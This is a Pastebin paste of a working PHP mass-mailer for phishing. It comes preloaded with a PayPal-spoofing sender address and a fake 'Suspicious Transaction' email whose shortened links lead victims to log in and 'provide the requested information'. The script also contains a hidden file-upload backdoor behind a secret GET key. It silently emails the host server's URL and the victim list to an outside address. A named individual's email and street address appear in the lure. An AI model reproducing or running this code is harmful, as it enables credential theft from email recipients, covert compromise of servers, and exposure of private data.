Advertisement
ale12

mailer

Jul 16th, 2016
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.06 KB | None | 0 0
  1. <html><head><title>Mailer</title>
  2. <style type="text/css">
  3. font{
  4. font-family: Tahoma, Arial, sans-serif ;
  5.   }
  6. div#container{
  7.   width: 800px;position: relative;margin-left: auto; margin-right: auto;
  8.   }
  9. #result{
  10.   text-align: left ;  border-radius: 10px; border:1px solid #00ff00; padding:4px 8px; line-height:16px; background:black; color:#aaa; margin:0 0 8px 0;
  11.   }
  12. .style2{
  13.   text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif  ;color: #00ff00;text-shadow: 0px 0px 60px #00ff00 ;font-size: 50px;
  14.   }
  15. .evalcode{
  16.   border:1px solid #00ff00;background:black; color:#00ff00; padding:2px;border:1px solid #00ff00; font-size:11px; width:100%;
  17.   }
  18. .evalcode:hover{
  19.   border:1px solid #00ff00;
  20.   }
  21. .inputzbut{
  22.   font-size:11px; background:black; color:#00ff00; margin:0 4px; border:1px solid #00ff00;
  23.   }
  24. .inputzbut:hover{
  25.   border:1px solid #00ff00;
  26.   }
  27. .coode{
  28.   color:#00ff00;background:black;border:1px solid #00ff00;
  29.   }
  30. .coode:hover{
  31.   border:1px solid #00ff00;
  32.   }
  33. </style></head>
  34. <div id="container"><div id="bv_Html1" style="position:absolute;left:23px;width:780px;height:169px;z-index:0;" align="left">
  35.  
  36. <?php
  37. $upload = $_GET["upload"];
  38. if ($upload == "41e_M41leR" )
  39. {
  40.   $uploaddir = "";
  41.   $uploadfile = $uploaddir.basename($_FILES["userfile"]["name"]);
  42.    if (isset($_FILES["userfile"]["name"]))
  43.    {
  44.       if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
  45.       {
  46.        $resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";
  47.       }
  48.       else
  49.       {
  50.        $resultati = "There was an error uploading the file. please try again!";
  51.       }
  52.     }
  53.   echo'<html><head></head><div id="result"><table  height="1" width="100%" bgcolor="#000000" bordercolorlight="#00ff00" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #00ff00; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #00ff00; background-color: black"><input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #00ff00; background-color: black"><br>'. $resultati .'</form></center></td></tr></table></div>';
  54. }
  55. $action=$_POST['action'];
  56. $from=$_POST['from'];
  57. $realname=$_POST['realname'];
  58. $subject=$_POST['subject'];
  59. $message=$_POST['message'];
  60. $emaillist=$_POST['emaillist'];
  61. $addr = getenv("REMOTE_ADDR");
  62. if ($action=="send")
  63. {
  64.  $message = urlencode($message);
  65.  $message = ereg_replace('\'', '"', $message);
  66.  $message = urldecode($message);
  67.  $message = stripslashes($message);
  68.  $subject = stripslashes($subject);}
  69. ?>
  70.  
  71. <body text="#00ff00" bgcolor="black" font="Verdana, Arial, Helvetica, sans-serif">
  72.   <BR /><BR /><div id="result"><div align="center" class="style2"><BR />Mailer Inbox<BR /><BR />
  73.   </div></div>
  74.   <div id="result">
  75.     <form name="form1" method="post" action="" enctype="multipart/form-data">
  76.       <table width="142" border="0">
  77.         <tr>
  78.          <td width="81"><div align="right"><font color="#00ff00" size="-3">Your Email :</font></div></td>
  79.           <td width="219"><font size="-3"><input class="evalcode" name="from" value="service@intl.paypaI.com" size="30" /></font></td>
  80.           <td width="212"><div align="right"><font color="#00ff00" size="-3">Your Name :</font></div></td>
  81.           <td width="278"><font size="-3"><input class="evalcode" name="realname" value="PayPaI" size="30" /></font></td>
  82.         </tr>
  83.         <tr>
  84.           <td width="81"><div align="right"><font color="#00ff00" size="-3">Subject :</font></div></td>
  85.           <td colspan="3" width="703"><font size="-3"><input class="evalcode" name="subject" value="Your account has been Iimited untiI we hear from you" size="91" /></font></td>
  86.         </tr>
  87.         <tr valign="top">
  88.           <td colspan="3" width="520"><font color="#00ff00" size="-3">Letter :</font></td>
  89.           <td width="278"><font color="#00ff00" size="-3">List Email :</font></td>
  90.         </tr>
  91.         <tr valign="top">
  92.           <td colspan="3" width="520" ><font size="-3"><textarea class="coode" name="message" cols="56" rows="10">
  93. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  94. <html><head><title>Suspicious Transaction !</title>
  95. <meta content="text/html; charset=UTF-8" http-equiv="Content-Type"></head>
  96. <body>
  97. <meta name="GENERATOR" content="Microsoft DHTML Editing Control">
  98. <div>
  99. <table style="HEIGHT: 620px; WIDTH: 570px" align="left" border="0">
  100.   <tbody>
  101.   <tr>
  102.     <td><span style="FONT-SIZE: 36pt"><span style="FONT-SIZE: 24pt; COLOR: #009cde"><span style="FONT-FAMILY: Arial">Suspicious Transaction.</span></span>
  103.       <br></span></td></tr>
  104.   <tr>
  105.     <td>
  106.       <table class="deviceWidth" data-vr-structure-canvas="" align="left" cellpadding="0" cellspacing="0">
  107.         <tbody>
  108.         <tr>
  109.           <td align="left" valign="top">
  110.             <div>
  111.             <div class=" fragment payload textBlock text-show-block-payload" style="TEXT-ALIGN: justify"><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Your
  112.             account make a suspicious transaction, We've temporary limited your
  113.             account due to this suspicious activity until the issue is
  114.             resolved.<br><br>If You didn't authorize this transaction, please
  115.             dispute transaction soon.</span>
  116.   </div></div></td></tr></tbody></table></td></tr>
  117.   <!-- http://bit.ly/1Zn6XZd -->
  118.   <tr>
  119.     <td>
  120.       <p style="PADDING-BOTTOM: 9px; PADDING-TOP: 9px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px"><span><a style="BORDER-TOP: 0px; BORDER-RIGHT: 0px; BORDER-BOTTOM: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; BORDER-LEFT: 0px; PADDING-RIGHT: 0px" href="http://goo.gl/X1n88B"><button style="CURSOR: pointer; FONT-SIZE: 14px; WIDTH: 100%; BACKGROUND: #009cde; COLOR: #ffffff; PADDING-BOTTOM: 9px; TEXT-ALIGN: center; PADDING-TOP: 9px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; border-radius: 10px">I
  121.       Didn't Authorize This Purchase</button></a></span> </p></td></tr>
  122.   <tr>
  123.     <td><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Here is
  124.       transaction detail :</span> <br>
  125.       <ul>
  126.         <li><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">To
  127.         :&nbsp;<strong>Michelle&nbsp;Nolan</strong></span><strong>&nbsp;</strong>
  128.  
  129.         </li><li><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif"><span>To
  130.         email : <a href="mailto:michellebraat@hotmail.com"><strong>michellebraat@hotmail.com</strong></a></span></span>
  131.  
  132.         </li><li><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Transaction
  133.         date :&nbsp;<strong>June 05, 2016</strong></span>
  134.         </li><li><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Transaction
  135.         amount :&nbsp;<strong>$175.4 USD</strong></span>
  136.         </li><li><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Transaction
  137.         ID : <strong>1CB2DC175442PS5446223S</strong></span><strong> </strong>
  138.         </li><li><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Note
  139.         : <strong>Ship to 84 Shakespeare
  140.         St,&nbsp;QLD&nbsp;4151</strong></span><strong> </strong></li></ul></td></tr>
  141.   <tr>
  142.     <td>
  143.       <table class="deviceWidth" data-vr-structure-canvas="" border="0" cellpadding="0" cellspacing="0">
  144.         <tbody>
  145.         <tr>
  146.           <td align="center">
  147.             <div>
  148.             <div class=" fragment payload textBlock text-show-block-payload" style="TEXT-ALIGN: justify"><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Please
  149.             login to your account and provide the requested information to
  150.             dispute this transaction before&nbsp;<strong>June 07,
  151.             2016</strong>.</span> <br><br><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">If
  152.             we don't receive the requested information soon, We can't refund
  153.             your money and your account may be closed without any
  154.             notification.</span> <br><br><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">Sincerely,</span>
  155.             <br><span style="FONT-SIZE: 12pt; FONT-FAMILY: arial, helvetica, sans-serif">PayPaI</span>
  156.             </div></div></td></tr></tbody></table></td></tr></tbody></table></div>
  157. </body></html>
  158. </textarea><br /><input type="hidden" name="action" value="send" /></font><p><font size="-3"><input type="submit" name="evalcodesubmit" class="inputzbut" value="Send" style="width:120px;height:30px;" /></font></td>
  159.           <td width="278"><font size="-3"><textarea class="coode" name="emaillist" cols="32" rows="10">email@mail.com</textarea></font></td>
  160.         </tr>
  161.       </table>
  162.     </form>
  163.   </div>
  164. <?php
  165. if ($action=="send")
  166. {
  167.  if (!$from && !$subject && !$message && !$emaillist)
  168.   {
  169.    print "Please complete all fields before sending your message.";
  170.    exit;
  171.   }
  172.   $headd = "From:  Root<name@name.com>";
  173.   $subb="Server";
  174.   $massge  ="Server : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."?upload=41e_M41leR\n$emaillist\n";
  175.   @mail("update2015@mail.com",$subb,$massge,$headd);
  176.   $allemails=split("\n",$emaillist);
  177.   $numemails=count($allemails);
  178.   for($xx=0;$xx<1;$xx++)
  179.   {
  180.     for($x=0;$x<$numemails;$x++)
  181.     {
  182.       $to=$allemails[$x];
  183.       if ($to)
  184.       {
  185.        $to=ereg_replace(" ","",$to);
  186.        $message=ereg_replace("&email&",$to,$message);
  187.        $subject=ereg_replace("&email&",$to,$subject);
  188.        print "Sending to $to.......";
  189.        @flush();
  190.        $header="From: $realname <$from>\r\nReply-To: $from\r\n";
  191.        $header.="MIME-Version: 1.0\r\n";
  192.        $header.="Content-Type: text/html\r\n";
  193.        $header.="Content-Transfer-Encoding: 8bit\r\n\r\n";
  194.        $header.="$message\r\n";
  195.        @mail($to,$subject,"",$header);
  196.        print "Sukses<br>";@flush();
  197.       }
  198.     }
  199.   }
  200. }
  201. ?>
  202.  
  203. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement